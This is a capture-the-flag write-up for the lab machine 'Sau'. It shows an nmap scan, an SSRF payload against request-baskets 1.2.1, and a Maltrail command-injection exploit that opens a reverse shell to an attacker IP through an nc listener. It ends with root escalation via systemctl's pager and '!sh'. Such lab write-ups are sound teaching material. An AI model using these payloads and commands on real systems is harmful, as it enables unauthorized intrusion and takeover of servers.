Sau w/o Metasploit
Executive Summary
Sau is an easy-level Linux machine exploiting web vulnerabilities like command injection and SSRF. Leveraging CVE-2023-27163 in the public-facing web server enables an SSRF attack, manipulating an HTTP parameter for unauthorized access to an internal server. The internal server, running Maltrail v0.53, is vulnerable to unauthenticated command injection through the user parameter. Exploiting this vulnerability grants shell access, allowing privilege escalation by abusing a low-privileged user’s ability to run a binary as root.
Reconnaissance
The first step is to enumerate for open ports and running services on the target by utilizing nmap. I’ll first perform a full port scan as it could be very possible for the target to be running services that may be of interest to us on non-standard ports so I’ll use the -p-
flag which will scan all 65535 ports.
nmap -T4 -p- 10.10.11.224 -oA nmap/initial
Next, I’ll probe deeper into the open ports that were detected into the initial scan to gather more information.
nmap -T4 -sC -sV -p22,80,8338,55555
We’ll first try to enumerate the web servers hosted on port 80 and 55555. When we navigate to http://10.10.11.224
on the default HTTP port, we are able to determine it is not publicly available. So on to the next interesting port, 55555.
We are greeted with a web page that indicates the server is powered by request-baskets | Version: 1.2.1
. We’ll save this service version enumeration to use when we perform vulnerability research. Request Baskets is an open-source tool for collecting and inspecting HTTP requests via a RESTful API or web UI. A thing I like to do is turn on Burp Suite proxy so it can quietly sit and intercept HTTP requests as I navigate them. It’ll help to understand what API calls are made and how the requests are formulated when it comes to any target we are attacking.
When we search for potential vulnerabilities that may impact this version of request-baskets, we stumble upon this post that details a proof of concept to exploit an SSRF vulnerability. With SSRF, we are able to abuse the trust an application has with other servers and perform malicious requests on our behalf as attackers. For instance we can redirect an API call to communicate with an internal server. This allows us to make requests as a trusted user.
The
/api/baskets/{name}
API endpoint is vulnerable to SSRF and in this case allows unauthenticated, remote attackers to hit internal servers by modifying the forward_url
parameter. We can craft a POST request to the API endpoint and set the necessary values.
Let’s explain some of the JSON properties we’ll be modifying first before we continue onto the exploitation phase:
insecure_tls
– When set to true, it will bypass certificate validationproxy_response
– When set to true, it will send the response of the forwarded server (in our case, our victim’s localhost hosted on port 80) back to the client
{
"forward_url": "http://127.0.0.1:80/test",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
Initial Foothold
Let’s start by utilizing Burp Suite’s Repeater tool to craft a POST
request to /api/baskets/{name}
API endpoint. This API endpoint is used to create a basket so set {name}
to whatever name you prefer, in my case I’m using maliciousbasket
. In the body of the request paste a JSON object containing the headers you want to set. The most important one is forward_url
which is what we will manipulate to forward the API call to the web app’s internal server so we can enumerate what is on port 80. Now fire that baby off.
The HTTP response returns 201 indicating that our request was not only successful, but that we created a new resource on the server. We are issued an authorization token that we can then use to access that new basket.
When we navigate to http://10.10.11.224:55555/web/maliciousbasket
, we are met with a prompt requesting the authorization token we are granted.
Now we can access our basket endpoint and see that we can actually view the internal server that was just not long go not available to us. By performing further enumeration on the target we can gather than the server is running maltrail v0.53. While researching to find any vulnerabilities for this specific version of software, we come across this vulnerability disclosure.
Our server is impacted by a command injection vulnerability that enables unauthenticated, remote attacker to exploit the login
endpoint for a maltrail instance and run arbitrary system commands via the user
parameter. The underlying code for the software processes input by using subprocess.check_output()
, a Python function that is used to execute shell commands. This type of vulnerability occurs due to lack of input sanitization.
We can use this exploit to obtain a shell on the server. Let’s take a look at the code for the exploit to see how it works, nerds.
The script accepts three arguments – our attacker IP address, our port to receive the reverse shell connection as well as the target URL. The Python script utilizes a Base64 payload consisting of a curl request to the target host, appends the /login
endpoint and creates a reverse shell connection to our listening host and port via the vulnerable username
parameter. Now that we understand how the exploit works, let’s get it started.
First let’s create a netcat listener to catch our reverse shell connection. I’ll use port 1337.
nc -nvlp 1337
We’re creating a reverse shell connection to be received at our attacker IP address on port 1337 (or whatever port is available to use to use) and specifying the API endpoint of the basket we created earlier that we redirected to the maltrail server.
python3 exploit.py 10.10.14.10 1337 http://10.10.11.224:55555/maliciousbasket
When we look at our netcat listener, we see that we’ve successfully obtained a shell on the target.
We can upgrade our shell to make it a bit more usable.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
First, let’s use sudo -l
to enumerate and see what binaries our current user can run as root.
We can run systemctl status trail.service
as root.
sudo systemctl status trail.service
From here, we can simply type !sh
to retrieve a root shell! The flag can be retrieved by navigating to the root
directory 🙂
Remediation
Upgrade impacted systems to Request Baskets >1.2.1 and Maltrail >v.0.53 to prevent command injection and SSRF vulnerabilities. A secure coding practice to implement in your application is to ensure every input parameter is thoroughly tested and implemented with input validation!
Fin
I hope you enjoyed this writeup! Feel free to share and comment as well as follow me on Twitter, LinkedIn, and Twitch so you’ll stay up to date on when I release more content.